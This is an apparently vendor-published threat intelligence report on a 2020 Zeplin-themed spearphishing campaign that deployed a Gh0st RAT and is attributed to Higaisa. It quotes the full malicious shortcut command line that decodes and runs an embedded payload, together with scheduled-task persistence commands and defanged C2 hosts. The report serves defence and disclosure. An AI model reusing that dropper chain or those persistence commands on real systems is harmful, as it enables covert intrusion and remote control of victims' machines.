Prevailion’s Tailored Intelligence Team has detected a new advanced campaign dubbed – “The Gh0st Remains the Same.” This first campaign likely commenced between May 11th and 12th, 2020. In this engagement, the victims received a compressed RAR folder that contained trojanized files. If the malicious files were engaged, they displayed decoy web pages associated with the software company “Zeplin”. Zeplin is a software company that developed a platform to create a “connected space for product teams,” and boasts over three million customers. Some of Zeplin’s more prominent users include: Starbucks, Airbnb, Slack, Dropbox, Pinterest, Shopify, Feedly and MailChimp. It is likely they chose to simulate collaboration-based software with a sizable user base, as a result of the increase in working from home (WFH) during the global pandemic.
This is a user-initiated infection, in this case the lure was a folder called “Project link and New copyright policy.rar”. Once decompressed, this folder contains two Microsoft shortcut files and a PDF, all of which reference the Zeplin platform. If the shortcut file was initiated it would begin a multistep infection chain that ultimately deployed a Ghost rat agent. This agent persisted on an infected machine by employing a scheduled task, while masquerading as a legitimate binary in the Windows startup folder. During the infection process, the subject machine communicated with three different remote command and control (C2) nodes. There were also indications that the agents could communicate over DNS as well as HTTP protocols.
We assess that the threat actor group is both technically proficient and experienced, based upon the Tactics, Techniques and Procedures (TTPs) displayed in this campaign – such as splitting up the attack into a myriad of steps and XORing parts of the payload to suppress the antivirus software detection rate. The threat actors exercised good tradecraft by keeping their malicious domains online for just a few days after the campaign started. The sample in question was uploaded to VirusTotal on May 12th, likely indicating when it was observed in the wild, and on the same day that the Zeplin Platform launched their new program “Zeplin Agency Members.” Furthermore, we observed a subsequent campaign employing the same infection process, that commenced on 30 May 2020. This particular campaign differed in its use of a trojanized Curriculum Vitae (CV) impersonating a college student named “Wang Lei” from Hong Kong, and the use of a hard-coded IP address in lieu of a threat actor controlled domain.
Through analyzing the timestamps, we noticed that they align with the +8 time zone. Additionally, we noticed a number of correlations between this campaign and a “Coronavirus (COVID-19) Situational Report” campaign that occurred earlier this year that was associated with Higaisa. Those correlations were significant enough that we assess with moderate confidence that Higaisa is also behind this campaign. Prior reporting suggests that the Higaisa group is likely government sponsored.
Prevailion’s tailored intelligence team discovered a campaign that highlights an elegant use of commercially available tools by an advanced adversary. We suspect this actor intentionally chose commercially available frameworks to provide a level of anonymity and plausible deniability. If the malicious files were engaged, they displayed decoy web pages associated with the software company Zeplin. Zeplin is a software company that developed a platform to create a “connected space for product teams” and boasts over three million customers. It is likely they chose to simulate collaboration-based software with a sizable user base, as a result of the increase in working from home (WFH) during the global pandemic. By analyzing google trends, we noted that the Zeplin app was of interest in the United States, United Kingdom, and India, which possibly hint at the targeted entities.
Google Trends for Zeplin App
The threat actors appeared to create the decoy file seven days prior to the malicious files being observed in the wild. They also took down their infrastructure a short time after the attack began – highlighting an acute level of situational awareness. We assess that the campaign likely commenced between May 11th, 01:03:02 and May 12th 17:59:57. The rar file was first uploaded to VirusTotal on May12th at 17:59:57, which likely denotes when the sample was first observed. It’s unclear if it was intentional, or simply fortuitous, that the campaign occurred the same day that the Zeplin Platform launched their new “Zeplin Agency Members”. Such an announcement could conceivably result in copyright provisions change, which would be unlikely to draw scrutiny from their established user base.
Campaign Timeline Graphic
Infection chain used in the May 2020 Campaign
The infection chain began when the victims received an rar file named “Project link and New copyright policy.rar”. Once the file was decompressed, the folder contained two microsoft shortcut (lnk) files and a PDF file. The three files were named:
The PDF file “Zeplin Copyright Policy,” which was benign, was taken from the Zeplin public website. The actor used the tool wkhtmktopdf to convert the website to a PDF on May 5th at 09:37:39 UTC. They then modified the file the following day, May 6th 00:37:41; the only difference between the website and PDF was the last updated line. In the actor-modified version, the last updated line was dated “1 May 2020”, while the Zeplin website listed the last updated line as “18 October 2019”. We assess that its purpose was to act as a decoy, in case the PDF was examined further by security products.
Image of the modified PDF file that was displayed to victims
The victim is then enticed to click on one of the Microsoft shortcut files that executes a series of commands which begins the attack. The Microsoft shortcut file’s properties and purpose will be explored in the following section. The lnk file contained a “decoy” component, and would open a web browser to display a webpage hosted on the zeplin.io domain, https://app.zeplin.io/project/5b5741802f3131c3a63057a4/screen/5b589f697e44cee37e0e61df. When visited this webpage was only accessible to a certain organization.
A copy of the aforementioned decoy Zeplin web page when visited by an outside account
The Prevailion team first analyzed the metadata properties of the lnk files to look for any artifacts that might have been left by the file creator. We found that almost all such metadata had been intentionally stripped out by the adversary. Typically LNK files contain useful information about the originators computer such as Machine ID, Drive serial numbers, Mac Address, Volume, and file systems. However the only thing left in these two samples was the creation date of the file May 11th, 2020, timestamp 08:03:01.0 [UTC] and the date the C drive was created 03/18/2019 (21:37:44.0) [UTC].
When the file is executed, it pulls a block of data from the lnk file and saves it as cSi1rouy.tmp. It will then base64 decode that data, which reveals a Microsoft Cabinet file (.cab). Microsoft Cabinet files are “an archive-file format for Microsoft Windows that supports lossless data compression and embedded digital certificates used for maintaining archive integrity.” Once the cabinet file is decompressed it reveals four more files:
A copy of the full command line argument has been copied below.
C:\Windows\System32\cmd.exe /c copy “Conversations – iOS – Swipe Icons – Zeplin.lnk” %temp%\g4ZokyumB2DC.tmp /y& for /r C:\Windows\System32\ %i in (*ertu*.exe) do copy %i %temp%\gosia.exe /y& findstr.exe /b “TVNDRgA” %temp%\g4ZokyumB2DC.tmp>%temp%\cSi1rouy.tmp&%temp%\gosia.exe -decode %temp%\cSi1rouy.tmp %temp%\o423DFDS.tmp&expand %temp%\o423DFDS.tmp -F:* %temp%&”%temp%\Conversations – iOS – Swipe Icons – Zeplin.url”© %temp%\3t54dE3r.tmp C:\Users\Public\Downloads\3t54dE3r.tmp&Wscript %tmp%\34fDFkfSD32.js&exit
Icon location (UNICODE):
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
Copying the malicious file to this path is significant for two reasons. First, it allows for persistence on the infected machine, as the programs inside this folder are automatically initiated upon start up. Second, it was intended to blend into the target environment by masquerading as the legitimately signed Microsoft program officeupdate.exe, sha1:7fc78cce74b31414278444eff8c99156d98c2bcd. In order to have some redundancy, the threat actor copies the loader file, svchast.exe, to the downloads folder and renames it officeupdate.exe. They created a scheduled task with the name “Driver Booster Update” to run every two hours and execute the officeupdate.exe file located in the downloads folder. Finally, it launches the svchast.exe file through a command shell.
Function loading the 3t54de.tmp file on the left, Anti-debugging function on the right
The last file to discuss is 3t54de.tmp, which was located in the previously mentioned Microsoft Cabinet file. This appeared to be a shellcode that contained the threat actor C2 node. It performs some host based enumeration upon the infected machine, then establishes a persistent connection between the infected host and the C2.
This appeared to be an evolution of the previous loader (sha1:640682ef5b228d940634d161b7038ad002288aca) that was used by the Higaisa in 2019, where it was all one compiled executable. By using the process injection method, the threat actor lowered its detection rate. As of May 22, only 3 antivirus engines out of 73 detected the svchast file as being malicious, and 3t54de.tmp had a detection rate of zero.
During our analysis of the aforementioned sample, we identified an embedded URL hxxps://comcleanner[dot]info/msdn.cpp. Unfortunately the threat actor stopped resolving the domain approximately four days after the campaign started, therefore we were unable to enumerate any subsequent payloads. We did attempt to create a honey-pot machine however we were not served the malicious payload, for either this campaign or the “Collin CV Campaign.” We ran the CV sample on Friday May 29th, the day the sample was first uploaded to Virustoal. We were not able to locate a file by that name in our malware repositories. In previous reporting, the threat actors were noted deploying an in-memory version of the Gh0st rat payload. It should be noted that the source code for this agent has been available online since 2008.
One interesting note was that files ending in the extension .cpp, typically indicates a file containing code written C++. However we did find one reference to the file “msdn.cpp.” It appeared in a tweet by @bad_packets, where they observed mass scanning for that URL by an undisclosed security researcher that operates the domain Tequillaboomboom dot club.
Another compelling detail we observed was the threat actor configured redundant communications channels during this particular campaign. The first command and control node employed was the hostname hxxp://zeplin[.]atwebpages[.]com/inter.php – which would receive the output of the ipconfig command. While this might seem trivial, this could be used as a filtering mechanism by the threat actor to determine if they compromised their intended target’s workstation. This method can confirm that they are not interacting with a honeypot machine. They could also determine if something had run afoul, if they see connections to the subsequent C2 from an IP address not in the first one. In order to disguise their malicious hostname to appear more legitimate, the threat actors cloned a templated resume web page from bootstraptemple.com.
Resume web page from BootstrapTemple to the left, actor controlled website to the right
The payload interacts with two supplementary C2 nodes. First contact is with the authoritative name server, in order to obtain the IP address for the embedded domain comcleanner[dot]info. In this particular case, the authoritative name server was ns1[dot]comcleanner[dot]info. Querying this name server would return the IP address 66.42.96[.]115 for the domain comcleanner[dot]info. When we ran a query on the IP address 66.42.96[.]115 in Zetalytics, we noticed that the domain comcleanner[dot]info stopped resolving to it on May 15th, 2020. We thought it was of interest that the domain only resolved for a small 6 day window in total, and was likely taken down a few days after the initial campaign began. We feel this shows that the threat actor behind this campaign exhibited a high degree of operational security, and that the threat actor may have changed C2 nodes once they infected the target.
One other notable fact was that the name server ns1[dot]comcleanner[dot]info was also hosted on a dedicated VPS, at IP address 45.76.31[.]159. If they did once again use the Gh0st rat payload, as in previous campaigns, they would have the ability to perform DNS tunneling. We assess this was likely configured as an alternate communications channel, if they had trouble communicating with the infected device through the standard HTTP protocol.
While this operation did not employ a new trojan, they utilized multiple files in different formats to break the attack up into a myriad of steps, rather than just using one stand alone executable. This technique allowed them to keep the detection rate low and their trojan remained undetected. They also made efforts to complicate some aspects of analysis; such as removing metadata from the lnk files, timestomping the executable, and adding debugger checks. These tactics lead us to assess that this campaign was performed by a sophisticated threat actor.
By analyzing individual elements of this campaign, we noted a number of correlations to prior threat actor reporting. Some of the more interesting data points came from the timestamps left behind by the originator. We found the decoy PDF file to be particularly revealing, the metadata extracted through ExifTools is listed below.
ExifTool Version Number : 11.87
File Name : Zeplin Copyright Policy.pdf
Directory : .
File Size : 27 kB
File Modification Date/Time : 2020:05:06 00:37:41-07:00
File Permissions : rw-r–r–
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Title : Zeplin Copyright Policy | Zeplin
Creator : wkhtmltopdf 0.12.5
Producer : Qt 4.8.7
Create Date : 2020:05:06 09:37:39+02:00
Page Count : 1
Page Mode : UseOutlines
Two particular data points from this PDF were the “Create Date” and the “FIle Modification date/time.” The create date shows that this file was created on May 6th at 09:37:39 UTC, and was last modified the following day at 00:37:41 UTC. We noticed that these times align with the +8 timezone, which is used in the Korean peninsula among other countries. Porting these times from UTC to the +8 timezone, the file would have been created at approximately 5:37 PM. After the file was created, the actor likely went home for the night and then subsequently modified it the following morning when they arrived at work at 8:37 am local time.
Based upon the totality of available information, we assess with high confidence that this campaign was performed by the same actors responsible for the Coronavirus, Covid-19, themed campaign in March. Based upon the timestamp analysis and the overlapping infrastructure between the Anomali and Tencent report, we assess with moderate confidence that this cluster was associated with Higaisa. Previous reporting suggests that the Higaisa group has been active since 2016. Our assessment would be bolstered by uncovering subsequent agents deployed in this operation as well as associating subsequent campaigns to this cluster of activity.
While none of the tools used in this particular campaign were completely new or innovative, we believe that the threat actor made the most of every tool they used and was likely able to avoid detection. They also created the Zeplin lure, in order to pry upon the current situation and take advantage of the collaborative software in a WFH environment. However, through careful examination of these artifacts, analysts can find little clues to help them gain a better understanding of the campaign. In order to curtail these nefarious efforts, we recommend that all users exercise great caution when receiving emails from an unknown source. We also advise against executing any Microsoft shortcut links, especially from untrusted sources. We recommend enabling and updating antivirus services, since this threat actor relied upon commercially available toolkits. Where viable, increase monitoring network logs for remote connections to VPS providers.
Project link and New copyright policy.rar
Zeplin Copyright Policy.pdf – (benign file)
Conversations – iOS – Swipe Icons – Zeplin.lnk
Tokbox icon – Odds and Ends – iOS – Zeplin.lnk
cSi1rouy.tmp – Microsoft Cab file
Conversations – iOS – Swipe Icons – Zeplin.url (benign file)
Svchast.exe a.k.a. Malicious officeupdate.exe
Command and Control
IP address: 66.42.96[.]115
IP address: 45.76.31[.]159
International English Language Testing System certificate.pdf.lnk
Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk
Command and Control
Unidentified Campaign Likely occurring January 2020
Command and Control
Host Based Indicators
schtasks /create /SC minute /MO 120 /TN “Driver Bootser Update”
schtasks /create /SC minute /MO 120 /TN “Office update task”
|MITRE ATT&CK Framework Mapping|
|Initial Access||SpearPhishing Attachment (T1193)|
|Execution||User Execution (T1204)|
|Persistent||Scheduled Task (T1053), Startup item (T1165)|
|Defensive Evasion||Masquerading (T1036), Process Injection (T1055), TimeStomp (T1009)|
|Collection||Data from Local System (T1005)|
|Command & Control||Commonly used port (T1043), Web service (T1102),
Remote File copy (T1105), Fallback Channels (T1008)
|Exfiltration||Exfiltration Over Command and Control Channel (T1041), Exfiltration over Alternative Protocol (T1048)|
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